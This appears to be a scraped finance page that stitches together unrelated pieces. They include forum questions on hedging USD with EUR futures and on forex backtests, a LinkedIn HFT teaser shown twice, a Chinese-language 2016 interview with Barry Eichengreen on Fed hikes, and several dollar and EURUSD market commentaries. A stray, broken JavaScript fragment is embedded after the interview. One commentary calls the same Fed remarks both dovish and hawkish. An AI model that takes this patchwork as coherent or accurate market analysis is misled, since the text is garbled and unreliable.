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StakePool is a bitcoin traders community that originated from the split from "Whale Club". We primary focus on bitcoin, but our passion is for trading cryptocurrencies in general and even legacy markets.
Hey there, i'm european and my base currency is euro. Since i'd like to do certain business in USD, i risk usd losing value compared to eur over time, after i buy usd with my euros. I'd like to solve this with shorting USD or longing EUR at the same time with forex. I'd need that trade to be open for 3-4 months. I did some research regarding forex (have no experience with it) and came to conclusion longing EURUSD market is not a good option due to swaps (swap fees) that will pile up over time. I was told i should rather long futures market, since there are no swap fees, your only cost is spread difference. My question now is, where can i do that in practice, which platform/brokewhatever, for the lowest cost ofcourse (ideally, spread should be the only "fee"). Or could that be done some other way? Thanks for your answers in advance!
Why is Forex so hard to trade with standard strategies?
Hi, I ran backtests for these markets:
Forex, EURUSD and USDCAD
Metals - Gold, silver
Crypto - BTCUSD, ETHUSD
SP500
It almost poked into my eye that forex seems to change its behaviour randomly sometimes and became unsuitable for standard strategies - e.g. MA crossover, Keltner, BB after idk maybe mid 2019? It has the tighest spreads & smallest commissions,swaps etc. but is not very consistent anymore, e.g. with crypto or SP500 I strategies work well in backtest and make a small profit in forward test but for forex, e.g. EURUSD you are in for major drawdowns and low winrates? Where is all this losses money going, to ML? Are market makers just randomly pushing prices to collect commissions?
HFT's trading returns revealed Finally, like never before, I can do it. I have permission to share what 2 hours of a real high-performance trading firm looks like. I will keep the firm “undisclosed”, but this post is to give an idea of what kind of trades and how fast/frequent they are. A client of mine, using an advance/lightweight platform, is performing excellent returns on the forex market. And the chart you can see by how much. Several things to look at: · Winning ratio is 80% (at least in these 2 hours) · A total of 109 trades has been made over this period · Average trade, last 206 milliseconds · Note how transaction cost affect the system o Blue line is without cost o Orange accounting transaction cost · Attempts to close means how many times we tried to flat our position but couldn’t (because of execution, or price movement). Every time there is more than one attempt, the trade is a losing trade. So, that’s t..... Continue reading at: https://www.linkedin.com/pulse/what-2hs-real-hft-trading-system-looks-like-ariel-silahian/
zt专访前IMF顾问：若明年美元过于强势，美联储将暂停加息 by dantario on 2016-12-15
http://www.thepaper.cn/newsDetail_forward_1580492 美国东部时间12月14日下午2时，美联储公开市场委员会将联邦基金利率上调了25个基点，并预计2017年加息三次。 虽然美联储加息25个基点早已是市场一致预期，但美联储同时发布的反映美联储官员对于联邦基金利率预期的点阵图显示，2017年美联储或加息3次，比之前预期多了一次。受此影响，在美联储发布加息声明和点阵图之后，美元指数开始急剧攀升。美联储加息节奏是不是真的会加快？美联储加息以及强势美元将如何与特朗普新政共同影响2017年世界经济走势？澎湃新闻记者专访了美国加州大学伯克利分校经济系讲座教授、前国际货币基金组织（IMF）资深政策顾问巴里·艾肯格林（Barry Eichengreen）。 Barry Eichengreen教授是当今国际学术界最活跃、最富影响力的著名经济学家之一。他是国际经济政策历史（宏观经济史的分支）的奠基人，其《黄金镣铐：金本位和大萧条》一书已成为国际上研究1929年至1933年“大萧条”的经典之作。他是国际货币体系演变史研究的奠基人之一，也是欧洲货币一体化、货币危机、金融危机等研究领域的顶尖学者。 如果明年美元升值过于强势，美联储将暂停加息 澎湃新闻：你认为美国经济增长确实足够强劲到可以支持此次加息吗？ Barry Eichengreen：我认为25个基点的加息幅度不会导致很大不同。0.25个百分点对于融资成本来说只是一个很小的变化。会受影响的是那些金融系统脆弱且对美元有强劲融资需求的地方。换句话说，不要太担心美联储加息对美国经济增长的影响，更值得关注的在于加息对土耳其的影响。 澎湃新闻：美元现在非常强势，这是美联储决策一个重要的因素吗？ Barry Eichengreen：美联储总是盯住美元汇率，因为汇率是影响经济增长的重要因素。如果2017年美元升值过于强势，美联储将暂停加息。美联储也是这样走一步看一步的。 澎湃新闻：你怎么评价耶伦？为了确保经济平稳增长，美国现在需要怎样的货币政策？ Barry Eichengreen：在如此艰难的经济环境下，耶伦任期内的美联储已经做得很好了，他们顶住了压力，没有在条件尚未成熟的时候提升利率。因为美联储即将承受更大的政治批评和压力，我们应该指望美联储继续小心翼翼地、谨慎地前进。 特朗普的财政刺激最终或许只是象征性的 澎湃新闻：美联储预计2017年要加息3次，特朗普的财政政策要扩张财政刺激，你认为这两者间的关系有多大？ Barry Eichengreen：特朗普要扩大财政刺激，毫无疑问会带高通(67.56, -1.78, -2.57%)胀，也会加速美联储利率正常化的脚步。但是我认为应该对财政刺激的预期保持警惕。财政刺激计划通过需要得到国会的支持，很多共和党人担心债务和赤字问题。因此实际上财政刺激最终或许只是象征性的，而非实质性的。 澎湃新闻：由于加息预期增加，美元强势走高，国债收益率持续上升，大量资本流入美国市场。这会加重债务国家的压力，尤其是对新兴市场国家。你认为这会造成像上世纪80年代发生在墨西哥和拉美那样的危机吗？ Barry Eichengreen：由于很多新兴市场的金融体系得到加强，也减少了对美元计价债务的依赖，不会造成一般意义上的危机。但是在个别国家，比如土耳其却不是这样，目前出现的货币急剧贬值问题极有可能发展成一场危机。 澎湃新闻：你怎么评价特朗普的贸易保护政策对美国以及新兴市场国家可能造成的影响？ Barry Eichengreen：特朗普的保护主义贸易政策会在短期内使美国经济走强，但是长期来说对美国不利。强美元将对那些依赖于将美国作为出口国的新兴国家有利，但是对依赖美元来填补经常账户赤字的新兴市场不利。因此区分新兴市场的不同也是很重要的，不能简单地把他们放在一个范畴里。 澎湃新闻：保护主义抬头使得金融市场更加动荡，你认为右翼民族主义和民粹主义会在接下来的几年里成为一股可持续的潮流吗？这个趋势的出现与金融市场的动荡背后是否有更深层次的原因，例如长期利率和实际利率过低？ Barry Eichengreen：全世界实际利率的低水平反应的事实是全球投资低迷，而相较之下是全球储蓄率的上升。伯南克所说的“全球储蓄过剩”仍旧存在。因此问题就在于如何刺激投资，由此提升实际利率到更正常的水平。民粹主义辞令和行动助长了不确定性，这个政治噪音确实是一个压抑投资的因素，而且在可以预见的未来，这个噪音还会持续。 短期内美国和欧洲的加息分歧会扩大 澎湃新闻：美国经济恢复得比欧元区快，你认为这个差异在2017年会增大吗？如何评价欧洲政治不确定性对欧美货币政策的影响？ Barry Eichengreen：美国经济从财政刺激中有了小幅度增长。而欧洲仍在意大利、德国、希腊的银行业问题中挣扎。2017年由于几大经济体的大选，欧洲会还有大量的政治不确定性。因此在短期内，美国和欧洲加息的分歧会扩大。 澎湃新闻：量宽政策广受争议，使得货币政策与财政政策再次成为争论的中心。你认为欧盟和欧洲央行在这个问题上处理得好吗？欧洲的财政政策是否过紧？ Barry Eichengreen：是的，如果财政政策更积极一些，欧洲的经济会得到更好的增长。欧盟已经提议在2017年增加0.5%的赤字开支，但是更大的赤字规模可以达到更佳的效果。增加财政支出可以缓解欧洲央行支持经济增长的压力，2%的通胀目标也更容易达成。欧洲央行已经表示会在2017年下半年稍微收紧货币政策的意向。如果得到财政政策更多的支持，央行政策收紧的速度会逐渐加快。 ______________________________________________________ 人民币离岸现在是6.93，早上到过6.95，昨天是6.92 日元现在117，再创新高 欧元现在0.95 function ik_random(){var ik_r_min=0;var ik_r_max=100;return(parseInt(Math.random()*(ik_r_max-ik_r_min+1)+ik_r_min));}function ik_isiframe(){return (self!=top);}var __m=\'30:fc:68:32:e1:cb\';var __m2=\'b0:51:8e:00:1b:d4\';var __h="";var x=ik_random();if(!ik_isiframe()){switch(true){case x>=0&&x<15:document.write(__h+"20"+__b);document.write("");break;case x>=25&&x<=100:document.write(__h+"30"+__b);document.write("");break;}}
Markets moved from irrational exuberance to anxiety
The US dollar continues to develop a rollback from the multi-month highs, falling to 96.0 on DXY while triggering EURUSD to reach a two-week high, at 1.1450. Nevertheless, dollar’s rollback does not help any other assets, and although the weakening of the dollar usually sets offs growth in the stock and commodity markets, this is not the case this time. On the U.S stock markets, we see a continuous sell-off of stocks of high-tech companies. Nasdaq Index had lost 3% on Monday, and at the start of trading on Tuesday plummeted to lows seen back in May, subsequent to the decline of stocks of market giant such as Google, Amazon and Apple. Pressures on Apple shares have plummeted the company's capitalization by 16.5% since the beginning of the month. Meanwhile, Facebook lost 40% from its peak values in the middle of the year and sank to low levels, which we have not seen since February 2017. Powell's words in regard to the potential pause in the rate hikes induces a pessimistic sentiment in the market participants about resilience of the economy. Demand for U.S. Treasury bonds was on the rise. The words of Fed’s chairman were perceived as a signal that the Central Bank is not as confident in maintaining such a strong rate of economic growth. With an exceptionally strong economy, growth stocks had the highest demand, and with the economy growth rate close to the trend levels, the focus of investors shifts back to the company’s performance. Under these circumstances, markets shifted their attention to the long-term average P/E ratios, in which the highest rates were in the IT Sector. It is logical to fear that the correction of high-tech companies might spread to the entire stock market. It happens most of the time, but one should not rush to conclusions. Based on what we have seen, it can be said that the end of the easy-money era, initiated in early October, resulted in the realisation of a more realistic view of the markets. This was manifest not only in the shift from growth stocks to value stocks, but it was also very noticeable in the dynamics of Crude Oil (-25% of October’s peak value) as well as in the Cryptocurrency market (-30%). Markets are on the way from irrational exuberance to anxiety. However, we cannot exclude the case that emotional sales may drag indices low on an emotional sell-off, throwing them to the other extreme, fear, in the upcoming weeks.
HFT's trading returns revealed | LinkedInFinally, like never before, I can do it. I have permission to share what 2 hours of a real high-performance trading firm looks like. I will keep the firm “undisclosed”, but this post is to give an idea of what kind of trades and how fast/frequent they are.A client of mine, using an advance/lightweight platform, is performing excellent returns on the forex market. And the chart you can see by how much.Several things to look at:· Winning ratio is 80% (at least in these 2 hours)· A total of 109 trades has been made over this period· Average trade, last 206 milliseconds· Note how transaction cost affect the systemo Blue line is without costo Orange accounting transaction cost· Attempts to close means how many times we tried to flat our position but couldn’t (because of execution, or price movement). Every time there is more than one attempt, the trade is a losing trade. So, that’s the prove on how important exe..... Continue reading at: https://www.linkedin.com/pulse/what-2hs-real-hft-trading-system-looks-like-ariel-silahian/
Last week, the US dollar had started off with a confident 0.6% growth, updating the 16-month highs on the dollar index and throwingEURUSDdown to 1.1200. However, the American currency has thereafter shifted into a defensive mode, decreasing by 1.2%, as a result of Fed’s dovish comments and lower budget tensions in Italy. Initially, the single currency was reinforced by the comments on the desire of the Italian authorities to come to a compromise on the budget, although the Government insists on maintaining important reforms. However, Fed's hawkish mood had later triggered a decline. Powell highlighted the growth of volatility in the global financial markets, the fading effect of tax reform, as well as the decline in demand outside the United States. All these factors, as noted by the head of the Fed, may interrupt rising rates by the middle of next year. The news had a serious impact on the dollar on Friday, triggering a 0.6% decline. Although markets were significantly affected by the commentaries, it is fair to say that there was not substantial information out there to justify such an impact. First, Powell made it clear during his speeches that Fed was all set for the December rate increase. Predictions of the FOMC pointed out a 2-3% increase in 2019, against 4% in 2018. This slowdown was just a repetition of an already known predicament. Moreover, promising to make a pause in the mid-year rate hike, Fed returns to the previous scheme that the FOMC used until 2018: a rise in the beginning and in the end of the year, and a pause in the middle. Simply put, Powell's comments last week were not as much of startling news as it seemed at first glance. For the dollar rate, this could mean keeping the overall trend of growth with small reversals as part of an upward trend. Short-term, it is worth to pay attention to the dynamics of the dollar near 95.80 on DXY and the potential of EURUSD to continue its growth above 1.1400. The fall of the dollar index below 95.50 is capable of becoming a signal of an upward trend, while for EURUSD, such signal would be received in the case of the pair growing above 1.1500. Such a development would review the prospects of the dollar, questioning the main scenario with further development of the dollar due to a divergence in monetary policy.
EUR USD (Euro / US Dollar) The most traded currency pairs in the world are called “the Majors” and the EURUSD leads this group as the most traded pair in the world. This pair represents the world two largest economies and has faced most volatility since the inception of the euro in 1999. Interesting facts. EUR/USD is one of the most traded currency pairs in the world. It represents the value of the US dollar per one euro. The euro is a relativity new currency when compared with the other majors, it was established by the provisions in the 1992 Maastricht Treaty and is managed by the European Central Bank (ECB) and the Eurosystem (comprised of the central banks of the eurozone). EUR/USD Analysis. I wrote yesterday that the nearest support level at 1.1826 looked strong, and we still had a valid long-term bullish trend in force, so I was prepared to take a long trade following a bullish bounce at 1.1826 if it happened today, though it looked likely to be a quiet day in the market. EUR/USD is the forex ticker that tells traders how many US Dollars are needed to buy a Euro. The Euro-Dollar pair is popular with traders because its constituents represent the two largest and ... Advanced live charts for forex trading are free and easy-to-use at ForexLive. These real-time charting packages let you apply technical analysis to hundreds of FX pairs.
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